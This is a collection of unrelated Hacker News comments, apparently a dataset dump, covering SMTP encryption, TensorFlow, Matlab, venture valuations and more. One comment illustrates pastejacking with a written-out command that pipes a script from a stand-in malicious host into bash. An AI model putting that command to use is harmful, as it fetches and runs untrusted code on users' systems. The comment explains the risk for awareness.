skysight-inc/HackerNews huggingface dataset:
It could cost an awful lot of money and still be cheaper than continuing with the mess we have now.
Rejected by a recruiter for not knowing jQuery, I know JS
If anything, a spammer or phiser has more motivation to deliver their mail over TLS because of this development, compared to some legitimate host. Whether the mail was delivered via TLS provides no information on its legitimacy. That is why it is problematic that it could give a false sense of security.
Thoughts? What's the difference between FB's Poke project and this?
I was wondering this as well, I would expect the get stat function probably also passes some secret key in its arguments.
What depresses me is that many organisations agree that SMTP needs some work. However the stakeholders simply don't care enough to do anything about it, all Google is doing here is adding a pretty little icon for opportunistic encryption (that doesn't work very well).

Let's look at the biggest stakeholders in SMTP:

- Microsoft: Exchange (8% mail servers), Outlook (client), Outlook.com (23% of webmail).

- Google: Gmail & Google Apps (40% of webmail)

- Yahoo (21% of webmail)

- OSS: Sendmail, Postfix

So if Google, Microsoft, and Yahoo! signed up that is the majority of SMTP on the internet today. Then we find some funds to get OSS updated (or summer of code), and boom, we have an SMTP update fit for 2015.

Heck have it downgrade for right now, and we can talk about actually switching over in 2025 or whatever. But at least in 2025 we'll have something ready, the longer we take to kick this off the longer it will take to upgrade.

It is utterly insane that nothing is moving here. It is like SMTP is stuck in a perpetual IE 6 situation, and Microsoft is largely causing it all over again (Exchange + Outlook.com).
Honestly, there are enough issues with TensorFlow right now due to CUDA 3.0 that using it with AWS is highly problematic. I appreciate the author's attempt, but there's no way the five lines of code he changed to allow CUDA 3.0 has fixed any of the issues found in [1], such as NaNs during training, equally slow training on a g2.2xlarge as a g2.8xlarge, etc ...

If you're just interested in playing around, then your laptop will do fine - TensorFlow is happy with just about any hardware you throw at it. Hell, your modern Android phone will run it =]

If you're interested in a more involved experiment, develop and debug your task locally on your laptop. By the time you're ready for large scale training, there might be a stable and battle tested AMI such that people are no longer reporting issues in [1] about it.

Again, if you're interested, follow the CUDA 3.0 issue on GitHub[1] - this is nowhere near a solved problem and will only cause headaches if you're using it for education.

[1]: https://github.com/tensorflow/tensorflow/issues/25
I've always just used the vague similarity of pronouncing lati to ladder to remind myself that latitude runs horizontally.
What these Computer Scientists do next will amaze you!
Either management is behind this, or they created the incentive for it to happen. They can't escape their responsibility; nobody would do it without a reason.
> docker run --rm -t -i ubuntu -v /some/suitable/host/dir:/mnt /bin/bash -l

So is it safe to cut-and-paste that line there ;) ?

I type very fast but if I see a 100+ character line with a whole bunch of flags and what not the chances of introducing a fatality while re-typing it (was that / var or /var?) are quite large.

And of course anything that involves 'rm' or other nice and friendly commands gets an extra eyeball but at some point you have to decide to pull the trigger or not.
Study shows first born children more likely to be myopic
I've worked both in industry and at a research institution (albeit not very long) and I've learned a bit of a love hate relationship with matlab. It's really awesome for prototyping complex math-based algorithms as an intermediate step before writing a battle-ready implementation. There's a ton of libraries so you can think in terms of high level concepts, and the matrix math is very natural, as is Gpu integration which is a huge plus. Once it's in code, you can iterate quickly relying on libraries, and even create a gui very quickly. When you settle on a final implementation, you can do a 1:1 port to the optimal runtime to make the code more modular, extensible, and fast.

Once you get used to the indexing and quirks, it's a prototyping dream. In a day I can do what would take weeks to implement in C++ or even Python, and I can decide if the algorithm is good enough to warrant a full port. Once I make that call, it's trivial to decide which parts of the algorithm I should work on optimizing for speed during the port because you can analyze perf of each step. Granted, I do a lot of image processing which is sort of an ideal matlab use case.

I totally agree though, writing software to solve real world problems is much more riveting than writing endless web apps (I've done both.)
> Unless the government is proposing that they pay for her defense

Yes, they will provide public defenders if someone cannot afford representation.

That's why I've pointed out several times that the better argument here would be for a stronger public defender's office, rather than having a two-tier justice system where the rich (or those who stole a lot of money...) can buy better treatment.
>I did not imply the treatment had no benefit. I stated that one third got better, one third had no change, and one third got worse. This is not a good result - a third of the participants got worse.

Do you have a reference for that? Overall, patients got slightly better on average. Even if some got slightly worse, on average there was an overall benefit.

>In addition, 13% of the participants on the trial had already recovered before the trail began, but were not excluded.

That's incorrect. The physical function was just one measure. To be counted as recovered, patients needed to meet other criteria and it would have been impossible for patients to be recovered at baseline. This seems to be a piece of misinformation that is spreading around patient forums. You're better reading the study itself rather than other people's (perhaps flawed) interpretation of it.
I think it's incredible that most of the comments here seem to accept or even defend that this is just the way things are, even explaining all the ways they work around it, rather than considering that this is a serious browser security issue and violates the idea that software should generally do what the user expects.
I think the organisational structure makes a huge difference. National labs are large enough for there to be a career structure as software engineer.

Working in a university 'lab', our jobs are completely dependent on our PI's ability to continue winning grants. The problem space is fascinating (genomics) and the scientists I work with are really great. But as an experienced developer joining the group, it often feels more like a long consulting gig than a career move.
> The more debris we create, the harder it is to keep satellites up there

Or astronauts, space stations, deep space probes, etc...

Just ask George Clooney ;P
It would seem, at first blush, the fourth estate is being replaced by the people themselves, in the form of whistleblowers with access to social media as well as the population at large petitioning (organizing awareness) via social media, so the press are being subverted by the people. They don't call the shots. They don't decide what's right and wrong with government. It's the people and whistleblowers with social media tools at their disposal.

So now the press try to catch up to the social winds and try to latch on perhaps tacking on their philosophical take and their view of social contracts and responsibility (as their token value add), but they are no longer the driving force. They simply are now trying to ride the wave.

A few are able to keep their course and continue to produce valuable content that people are willing to pay for, as people have noted, the economist, among a few others.
Well, you can combine the two approaches.

The text on the webpage reads

wget https://example.com/script.sh | bash

but when copied is actually

wget https://evilpile.com/script.sh | bash; echo wget https://example.com/script.sh \| bash

or whatnot.
Automatically Tuning Text Classifiers
Ditto rsync and the more obscure gcc stuff (though that usually ends up in makefiles rather than be typed in on the command line after trying it the first time).
It seems to me that there would be a massive demand to be able to work entirely in OS X by researchers for whom computing is a secondary task (I've seen this a lot in my neurobiology department). Most of these people are only knee-deep in the computing world, and learning Linux is not worth it to them. I know several researchers just getting into machine learning for their image processing/CNN projects, and they're just living with the speed of a 3+ year old Mac Pro, though they have the funding and desire to add plenty of GPU acceleration. Is there something else out there or in development that would help here?
CTRL-X CTRL-E will take you into your editor[1] from the command line, where you can paste away and see/edit if necessary. Once you exit from the editor the commands that were entered will be run.

So (if vi): CTRL-X CTRL-E i CTRL-V[2] ESC :wq

[1] at least in bash, possibly others.

[2] or whatever your paste shortcut is, and then edit if necessary

Edit: seems this is also possible for zsh but needs some config first: http://nuclearsquid.com/writings/edit-long-commands/
Introducing spurious failures to improve security feels like one of those ideas likely to have unintended consequences.
You triggered, bro?
And it's gone:

Apple has contacted us to say that the f.lux for iOS download (previously available on this page) is in violation of the Developer Program Agreement, so this method of install is no longer available.

Too bad, I missed out on it. I would have loved to install it on my iOS devices, but the download is no longer available.
Yup, a patch is in review right now: https://bugzilla.mozilla.org/show_bug.cgi?id=960780

Not sure if you missed it in the parent post, but here is a sneak peek: http://i.imgur.com/qjWOERs.gif
Yeah, that's fair. If all of our grants dried up, my organization would float me for a period of time and farm me out to other projects. We have enough project flow (and too few people) to make it pretty easy.
Thanks for your interest! Prismatic made a beautiful app but took a very different approach toward recommendation. They tried to build, as I understand it, their own social commenting layer on top of news--an effective competitor to Twitter and Facebook--and encouraged linking with social networks. We experimented with the latter in an early version of Recent News but discarded it in favor of a user-focused approach that doesn't require social linking (and isn't as prone to bad recommendations if your friends' interests are different from yours).

In any case Prismatic is no longer updating or supporting its iOS and Android apps. Techcrunch reported in July that Prismatic pivoted to B2B and is trying to make money like Dataminr by selling access to its APIs.
>BUT if the equity vested was really for PAST work, as you imply here, then yeah, keep the equity.

isn't that the default? That's what a vesting schedule is for.
I think, though I'm not sure I can explain why exactly, there's a difference between using one utility—Google—to answer all questions (with no real understanding of what's the 'right' place to ask), and doing focussed research—even if that focus is as minor as just reading the relevant documentation for the specific question.
> However the stakeholders simply don't care enough to do anything about it,

Perhaps that's a sign that "it" (smtp) now works well enough with the decades of engineering investment put into spam detection, access, standardization and inter-operability that have been put into it to not justify the massive investment that an "SMTP update fit for 2015" would involve.
> What remains is explaining how engineering managers higher up (all the way to the top) could remain willfully ignorant of the fact

> What remains is explaining how engineering managers higher up (all the way to the top) could remain willfully ignorant of the fact that VW's diesel engines "passed" emissions without resorting to exotic tech like Mercedes' bluetec exhaust fluids.

How often do high level managers at a big company have a good handle on technical implementation details of specific systems and what the implications of those details actually are?

It's possible that these people either had non-technical backgrounds, technical backgrounds in unrelated areas, or out of date technical backgrounds (like they last worked with this stuff back when cars still commonly had carburetors).
For the agencies that you guys engage with, what do you hire them for?

Thanks for your great ideas. I love what you guys are doing at Heap Analytics and personally, I think it's a genius product. The problems are something I face on a daily basis with our current analytics setup at work.
Yeah I think I'm going to remove it.. it was originally meant to be light-hearted but looking at it now it definitely looks arrogant
How to minimize procrastination
> I never implied i cared really, don't be so defensive.

The fact that you expended so many keystrokes explaining why you think city living is better implies that you do care. And you were the one being defensive. I never said one word trying to convince you my preference is better.

> My point, is that city living is objectively better, which is why i don't understand why people prefer to live in the burbs.

No offense, but I don't think you're using the word "objectively" correctly. You seem to put a lot of stock in your perception that it's less expensive to live in the city. But money is a very subjective value. I make enough money that I don't have to ride on smelly buses, so I choose not to. You may view it differently, and that's cool. Perhaps you see it as a personal virtue, or find it gratifying for other reasons. Whatever. And I like being able to start my car in my heated garage in the winter, rather than dig it out of a snow bank parked on the street a block from my house, like some of my urban friends do. It's all very subjective.
It was somewhat hyperbolic, showing the first line of /etc/psswd. With a normal user account that doesn't actually give you much, while giving the impresion that your password has been revealed (certainly those were my first thought upon reading the message). I imediately saw there was more going into the terminal than I expected (and was surprised) but it would have needed me to actually type a password to do much harm. (OK, some securtiy expert point can probably point out where I am wrong, but as a general rule....)
In your hypothetical case the vertices would be labeled by friends' names or ids. So you only have to check whether the obvious isomorphism applies i.e. that the graphs are equivalent as sets.
I'd say that google search is a router protocol as well--you go there to go someplace else.

Seems to have worked pretty well for them.
Teensy weensy crypto
Isn't the bigger difference with Uber that it's a service that many people need multiple times a week and everybody needs sometimes, and the average transaction value is a fair bit higher? Sure, Uber obtains an advantage from flaunts more laws than even the most aggressive copyright/TOS-violating marketer advertising themselves on Fiverr, but even law-abiding fully-licensed taxi firms have tended to be profitable.

There are possibly more lucrative areas of the market for Fiverr to explore, but Amazon is an unusually savvy and price-competitive 800b gorilla in the Mechanical Turk space, and I'm not sure how helpful the Fiverr brand is in the Upwork space. They already own their own space, it just isn't necessarily as big as a dubious claim like "the gig economy workforce expected to hit 43 percent of the total workforce by 2020" might suggest. If they're doing 1m transactions per month (>$1m revenue per month) as claimed in the article I'd have thought the reliable route to profitability lay with trimming expenditure rather than doubling down...
They care while you are a citizen, but you can renounce your US citizenship and they won't kill you for it.

I don't think how the US treats citizens living abroad is great, but it's not like you can't get away from it if you really want to.
Does anyone know why forward osmosis (e.g. https://www.youtube.com/watch?v=R63zYZZuRvQ) hasn't taken off yet? It seems like it has the biggest potential to do desalination at an extremely low cost energy-wise.
Not quite. Before amnesty, we have a case where coming forward may meed confessing to being complicit in misbehavior, which could be rightfully punished. Amnesty says that that won't exercise that right.
Getting the internet as a whole away from plaintext is more important than dealing with MITMs - you may or may not be subject to a MITM attack at any given time, you absolutely are subject to passive surveillance at all times.

Don't let the perfect be the enemy of the better.
I'd love to see this extended to cover the basics of customizing emacs, especially the structures and techniques involved in modes and mode customization.
I do apologise about that, now that I'm two revisions behind performance isn't going to keep up with the latest versions of Firefox. Hopefully Intel will release an update to ICL soon so I can catch up :-)
Those are UPC codes, not QR codes.
I didn't look specifically at Tor, but even early p2p anonymizer proposals had each node aggregate groups of standard size newly encapsulated chunks that were only sent out when there's enough to send similar bundles to all its next hops. This made simple observation at each hop pretty worthless, though I think someone has since proposed a statistical attack that could narrow the client down eventually if given a long enough connection with certain behaviors.
really makes my blood boil. straight up anti-competitive.
Each flight search engine optimize for something slightly different so it is important to know what that is to help you get what you're looking for.

My personal favorite flight search is Kayak's Explore map [1] which simply shows all of the possible destinations and the best prices to each. The itineraries it comes up with are of varying lengths and for various times of years, but there are some pretty incredible deals you'd never find by searching random dates.

I recently found a $38 ticket round trip SFO to Chicago and there are routinely sub $400 tickets LAX to various airports around Scandinavia. The best deal I've ever seen was $354 RT LAX to Tel Aviv.

[1] http://www.kayak.com/explore/
I am a bit sceptical about this startup.

Two friends interviewed there and both weren't impressed.

One of them is the best developer I know, with decades of cutting edge AAA games engine development experience, including in the MMO space and his words were: "they have no clue about games development and don't have much more than vapourware"

I hope he is wrong though and that the company is successful. They seem to be one of the few games related companies to compete with finance on compensation packages in London.
Vert.x ( http://vertx.io/ ) is an interesting point in this discussion that was released after the paper was written. It uses the async reactor pattern, but allows multiple reactors to run - 1 per CPU core. It also handles events and state so that each unit runs only within a single thread which completely eliminates the need to worry about threat synchronization. Basically a multithreaded node.js engine. Along with using javascript or Java8 lambdas and promises, it makes for very nice code.

The async style also allows for faster code in fairly typical web server cases. Consider a request that needs to do an HTTP lookup and 3 database calls. In a blocking I/O case, this needs a memory heavy thread and each I/O operation must be done sequentially even if we need the result from all 4 operations to give the result. With async I/O, we can send off all 4 operations without requiring the memory usage of a thread, and all 4 operations complete much faster as they run in parallel.
And everyone but Gecko is a fork of KHTML. When do you draw the line and allow forks their own identity?
Would it surprise you to learn that France has a much higher employed proportion of their population than the US?

http://i.imgur.com/g9NA76s.png

An extra 5% of working age employment in the US would mean something like 7M more jobs.
I don't know if this is O-Ring theory as much as a "six sigma" style process. The quality of each output depends on the quality of the inputs, and imperfections grow exponentially when things fall out of tolerances.

The whole point of DevOps is really to get your software developers to share in the pain that certain design / development choices can cause. In the absence of some DevOps-like process, dev teams will naturally shovel all their tech debt on the operations team. Rather than build their software to handle multi-tenancy, they'll just say "Eh, deploy another VM with a different configuration". Not that that's necessarily the wrong answer, but because it's less work for them, they don't take into account how hard it will be for the operations team to manage. If the dev team is responsible for both building the software, the tools used to manage the deployment, and responsibility for incident resolution, they'll make decisions that are better for the company and its customers.

That's my take, anyway.
I don't think that was the one I read, but it's just as good.
At some level google (or ddg or whatever you use) is the new 'man'. Especially since many man pages now simply read:

"The GNU folks, in general, abhor man pages, and create info documents instead. Unfortunately, the info document describing tar is licensed under the GFDL with invariant cover texts, which makes it impossible to include any text from that document in this man page. Most of the text in this document was automatically extracted from the usage text in the source. It may not completely describe all features of the program."
Sigfox Launches U.S. Network with San Francisco Pilot
As I understood it, the similar comment he made in "old bottle, new wine" was referring to the idea that ME is a viral illness when he said that ME is just a belief. He has said in other places that he believes that CFS/ME is a real illness with severe symptoms, as he has done research showing that the immune system is involved.

It could be that he has changed his stance in recent years.
To play devil's advocate a bit here, the companies that are being devalued (on paper) are by definition the so-called "unicorns", or the outliers that VCs depend on to offset losses to their duds. So if you start knocking off double-digit percentages from a few of these outliers, pretty quickly your portfolio takes a huge hit.

Hypothetical situation with some seriously made-up numbers:

* 2x $100k for 5% investment in companies at say a diluted stake of 2% goes from $10B to 5B

* 5x $100k for 5% investment in companies who go bust

* 3x $100k for 5% investment in companies who are acquired, make 10% returns ($110k per).

Total investment: $1m

Return from non-outliers: (5 x $0) + (3 x $110k) => $330k for a net of -$570k

Return from outliers before devaluation (on paper): 2 x .02 x $10B => $400M

Return from outliers after devaluation (on paper): 2 x .02 x $5B => $200M

At this point, the losses/returns of the non-outliers are in the noise. But man, it hurts to have to explain the "loss" of your upside by such an enormous amount. I don't think VCs would shrug it off as just a part of their overall portfolio, since these are the valuations that prop up the overall performance.
I'm not asking lawyers to do anything, I'm saying law firms who do criminal defense will not simply cease existing if this happens, which is what you're implying.
Still young; he's probably still a student. People react differently to negative criticism, of course, but to some it can be devastating.